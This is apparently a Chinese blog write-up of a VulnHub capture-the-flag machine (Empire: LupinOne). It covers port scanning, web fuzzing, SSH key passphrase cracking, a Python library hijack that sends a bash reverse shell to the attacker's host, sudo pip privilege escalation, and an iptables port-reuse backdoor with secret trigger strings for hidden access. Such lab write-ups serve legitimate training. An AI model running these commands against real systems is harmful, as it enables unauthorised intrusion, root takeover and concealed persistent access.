靶机下载地址:https://www.vulnhub.com/entry/empire-lupinone,750/
教程链接地址: https://blog.csdn.net/qq_45403184/article/details/122766483

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 LUPINONE:桥接于 192.168.31.1 的网卡,ip 未知

1)arp 确定靶机地址
sudo arp-scan -l

Image

-> 目标机器的 ip 地址: 192.168.31.236

  1. 确认靶机 ip 开放的端口信息
    sudo nmap -A -p- 192.168.31.236
Image

-> 靶机开放端口 22, 80

# 网站信息收集

打开 http://192.168.31.136 进行信息收集

Image

是一个没有任何可以点击的单纯的页面,并且审查源代码没有任何提示

1
gobuster dir -u http://192.168.31.236 -x php,txt,html,zip,rar -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描到了 robots.txt 这个文件

Image

-> 得到一个提示 /~myfiles

# wfuzz 模糊测试

1
2
# 可能隐藏的含义是,一个缺少参数的后门文件
wfuzz -c -u http://192.168.31.236/~myfiles/?FUZZ=xxx -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

扫描是否存在 http://192.168.31.236/~myfiles/?FUZZ=xx

返回结果全是 200 即表示不存在拼接参数

1
2
3
# 也可能是一个目录结构,首字符为~的形式
wfuzz -c -u http://192.168.31.236/~FUZZ -w /usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt

扫描是否存在 http://192.168.31.236/~FUZZ

返回结果都是 404

1
2
3
# 过滤掉 404 继续扫描
wfuzz -c -u http://192.168.31.236/~FUZZ -w /usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt | grep -v 404

扫到了一个特殊的目录 http://192.168.31.236/~secret

-> 提示有一个 ssh 私钥文件隐藏在这个目录下,并且需要 fasttrack 这个字典,有一个用户叫做 icex64

# burp 加载字典爆破

burp 做代理,拦截浏览器请求,识别是否存在隐藏文件.a.txt 的文件将 a 与 txt 作为变量,进行多次重发数据

Image

选择字典,第一个字典我选用的是 kali 中的 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Image

第二个字典是几种比较可能的私钥文件后缀:.txt,.pub,.html,.cer,.pem,.der,.key

Image

数据装载完毕,开始爆破

-> 唯一返回的 200 状态码的是 http://192.168.31.236/~secret/.mysecret.txt

# ffuf 模糊测试

1
2
3
# 或者用ffuf的方法进行爆破目录
ffuf -u "http://192.168.31.236/~secret/.FUZZ" -w /usr/share/seclists/Discovery/Web-
Content/directory-list-2.3-medium.txt - e .txt,.pub,.html,.cer,.pem,.der,.key
Image

-> 获得关键网址:http://192.168.31.236/~secret/.mysecret.txt

# CyberChef 解密

访问该网址,得到了一串密码

Image

用 CyberChef 通过 magic 方法在线解密,得到是 base58 解密,复制解密代码

观察得到的密文,发现仍然是加密的!并不是真正的 ssh 私钥!

Image

# john 破解私钥

采用 ssh2join.py 来破解 ssh 私钥,john 是一个破解系统密码的工具。

1
2
3
4
5
6
# 寻找 ssh2join.py 位置
使用locate sshjoin.py没有发现ssh2join.py文件
改用find / -name “ssh2john.py”

# 使用工具 ssh2john 转换为可以识别的信息
python /usr/share/john/ssh2john.py ~/Desktop/tool/lupin/vulnhub_lupin > crack.txt
Image
1
2
3
接下来要使用到上文所提示到的fastrack.txt文件
find / -name “fasttrack.txt”
john crack.txt --wordlist=/usr/share/wordlists/fasttrack.txt
Image

-> 得到私钥文件的密码 P@55w0rd!

指定私钥文件登陆对方服务器,选择密钥的密码为破解的密码

ssh icex64@192.168.31.236 -i vulnhub_lupin

Image

成功登陆到了服务器,并且有一个隐私设置问题

-> 可以无密码调用 arsene 用户去执行这个文件

# py 依赖库修改

1
2
# 直接将反弹shell的代码打印到此文件中
echo “bash -i >& /dev/tcp/192.168.31.135/4444 0>&1” >> /home/arsene/heist.py
Image

没有权限去加载此 payload,翻阅目录,查找更多的敏感信息,发现这个文件里边有引入包 webbrower 这个操作,还有一份提示文件,这个提示文件就是说要运行此 python 文件

1
2
locate webbrowser寻找此文件 没有找到
find / -name “webbrowser”
Image
1
2
3
4
5
6
7
8
9
10
11
12
13
# 将反弹shell的代码加载到此文件中
vim /usr/lib/python3.9/webbrowser.py
os.system('/usr/bin/bash /tmp/shell.sh')

# shell.sh内容如下
cat > /tmp/shell.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/192.168.31.135/4444 0>&1
EOF
chmod +x /tmp/shell.sh

# 调用 arsene 去执行该文件
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
Image

-> 监听 4444 ,并且拿到了 arsene 用户的 shell

Image

# sudo (pip) 提权

1
2
3
4
5
6
7
8
# 查看权限设置问题
sudo -l

# pip提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" >
$TF/setup.py
sudo pip install $TF
Image

-> 成功拿到 root 权限

# iptables 端口复用

这里不做权限维持,直接上的权限隐藏,注意攻击机是 192.168.31.237 靶机是 192.168.31.236

在目标服务器上依次执行以下命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 创建端口复用链子:
iptables -t nat -N MyChains

#创建端口复用规则,访问192.168.3.6:80的流量转发至 22 端口:(如果要转发到其他ip机器,注意需要开启转发功能)
iptables -t nat -A MyChains -p tcp -j REDIRECT --to-port 22

# 设置开启开关,当接收到一个含有"nihao123coming"的TCP包,则将来源IP添加到MyChains的列表中
iptables -A INPUT -p tcp -m string --string "nihao123coming" --algo bm -m recent --
set --name MyChains --rsource -j ACCEPT

# 设置关闭开关,如果接收到含有"nihao123leaving"的TCP包,则将来源IP从MyChains的列表中删除
iptables -A INPUT -p tcp -m string --string "nihao123leaving" --algo bm -m recent --
name MyChains --remove -j ACCEPT

# 当发现SYN包的来源IP处于MyChains的列表中,将跳转到MyChains链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds
3600 --name MyChains --rsource -j MyChains

攻击机上执行以下命令

1
2
3
# 开启复用,开启后发送开启命令的机器到目标 80 端口的流量将被转发到目标 20 端口
nc 192.168.3.6 80
nihao123coming
Image
1
ssh -p 80 icex64@192.168.31.236
Image

从攻击机连接目标机器的 80 端口成功,此时 80 的网站我们将无法访问

Image

用其他 ip 访问此网站也是打不开的

Image

关闭复用

1
2
3
4
nc 192.168.3.236 80
nihao123leaving
ssh -p 80 icex64@192.168.31.236
# 将不能通过 80 连接,并且网站恢复正常
Image

-> iptables 端口复用成功,可在攻击机上执行 nc 192.168.3.236 80 即可来开启或者关闭对方的 80 网站,从而进入到目标主机

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝